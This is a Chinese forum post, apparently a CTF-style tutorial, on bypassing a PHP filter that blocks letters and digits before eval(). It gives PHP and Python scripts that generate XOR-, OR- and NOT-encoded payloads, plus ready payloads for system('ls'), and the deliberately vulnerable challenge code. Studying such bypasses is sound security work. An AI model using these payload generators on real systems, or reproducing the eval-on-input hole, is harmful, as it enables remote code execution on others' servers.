无字母数字绕过正则表达式

打印 上一主题 下一主题

主题 849|帖子 849|积分 2547

目次
1、题目代码
1.异或
php部分:
python代码:
2.或
php代码
python代码
测试结果:
3、取反
php脚本:
测试结果:


1、题目代码

  1. <?php
  2. error_reporting(0);
  3. highlight_file(__FILE__);
  4. $code=$_GET['code'];
  5. if(preg_match('/[a-z0-9]/i',$code)){
  6.     die('hacker');
  7. }
  8. eval($code);
复制代码
我们下面以命令system('ls')为例:
1.异或

php部分:

  1. <?php
  2. $myfile = fopen("xor_rce.txt", "w");
  3. $contents="";
  4. for ($i=0; $i < 256; $i++) {
  5.         for ($j=0; $j <256 ; $j++) {
  6.                 if($i<16){
  7.                         $hex_i='0'.dechex($i);
  8.                 }
  9.                 else{
  10.                         $hex_i=dechex($i);
  11.                 }
  12.                 if($j<16){
  13.                         $hex_j='0'.dechex($j);
  14.                 }
  15.                 else{
  16.                         $hex_j=dechex($j);
  17.                 }
  18.                 $preg = '/[a-z0-9]/i'; //根据题目给的正则表达式修改即可
  19.                 if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
  20.                                         echo "";
  21.     }
  22.   
  23.                 else{
  24.                 $a='%'.$hex_i;
  25.                 $b='%'.$hex_j;
  26.                 $c=(urldecode($a)^urldecode($b));
  27.                 if (ord($c)>=32&ord($c)<=126) {
  28.                         $contents=$contents.$c." ".$a." ".$b."\n";
  29.                 }
  30.         }
  31. }
  32. }
  33. fwrite($myfile,$contents);
  34. fclose($myfile);
复制代码
php运行后生成一个txt文档,包含全部可见字符的异或构造结果。


python代码:

        
  1. import requests
  2. import urllib
  3. from sys import *
  4. import os
  5. def action(arg):
  6.    s1=""
  7.    s2=""
  8.    for i in arg:
  9.        f=open("xor_rce.txt","r")
  10.        while True:
  11.            t=f.readline()
  12.            if t=="":
  13.                break
  14.            if t[0]==i:
  15.                #print(i)
  16.                s1+=t[2:5]
  17.                s2+=t[6:9]
  18.                break
  19.        f.close()
  20.    output="(""+s1+""^""+s2+"")"
  21.    return(output)
  22.    
  23. while True:
  24.    param=action(input("\n[+] your function:") )+action(input("[+] your command:"))+";"
  25.    print(param)
复制代码
运行python脚本后,得到:
   [+] your function:system
[+] your command:ls
("%08%02%08%08%05%0d"^"%7b%7b%7b%7c%60%60")("%0c%08"^"%60%7b");
 
  将得到的结果复制已往即可,终极效果如下图所示:

2.或

原理是相同的,只必要把上面的脚本上稍加改动即可
php代码

  1. <?php
  2. $myfile = fopen("or_rce.txt", "w");
  3. $contents="";
  4. for ($i=0; $i < 256; $i++) {
  5.         for ($j=0; $j <256 ; $j++) {
  6.                 if($i<16){
  7.                         $hex_i='0'.dechex($i);
  8.                 }
  9.                 else{
  10.                         $hex_i=dechex($i);
  11.                 }
  12.                 if($j<16){
  13.                         $hex_j='0'.dechex($j);
  14.                 }
  15.                 else{
  16.                         $hex_j=dechex($j);
  17.                 }
  18.                 $preg = '/[0-9a-z]/i';//根据题目给的正则表达式修改即可
  19.                 if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
  20.                                         echo "";
  21.     }
  22.   
  23.                 else{
  24.                 $a='%'.$hex_i;
  25.                 $b='%'.$hex_j;
  26.                 $c=(urldecode($a)|urldecode($b));
  27.                 if (ord($c)>=32&ord($c)<=126) {
  28.                         $contents=$contents.$c." ".$a." ".$b."\n";
  29.                 }
  30.         }
  31. }
  32. }
  33. fwrite($myfile,$contents);
  34. fclose($myfile);
复制代码
运行后得到:

python代码

  1. import requests
  2. import urllib
  3. from sys import *
  4. import os
  5. def action(arg):
  6.    s1=""
  7.    s2=""
  8.    for i in arg:
  9.        f=open("or_rce.txt","r")
  10.        while True:
  11.            t=f.readline()
  12.            if t=="":
  13.                break
  14.            if t[0]==i:
  15.                #print(i)
  16.                s1+=t[2:5]
  17.                s2+=t[6:9]
  18.                break
  19.        f.close()
  20.    output="(""+s1+""|""+s2+"")"
  21.    return(output)
  22.    
  23. while True:
  24.    param=action(input("\n[+] your function:") )+action(input("[+] your command:"))+";"
  25.    print(param)
复制代码
实行:
   [+] your function:system
[+] your command:ls
("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%0c%13"|"%60%60");

  测试结果:


3、取反

        因为取反的话,根本上用的都是一个不可见字符,全部不会触发到正则表达式,我们一个php脚本就可以了
php脚本:

  1. <?php
  2. //在命令行中运行
  3. fwrite(STDOUT,'[+]your function: ');
  4. $system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
  5. fwrite(STDOUT,'[+]your command: ');
  6. $command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
  7. echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';
复制代码
运行结果:
   [+]your function: system
[+]your command: ls

  • (~%8C%86%8C%8B%9A%92)(~%93%8C);
     
      测试结果:


    欧克,竣事!!

    免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
  • 回复

    使用道具 举报

    0 个回复

    正序浏览

    快速回复

    您需要登录后才可以回帖 登录 or 立即注册

    本版积分规则

    滴水恩情

    金牌会员
    这个人很懒什么都没写!

    标签云

    快速回复 返回顶部 返回列表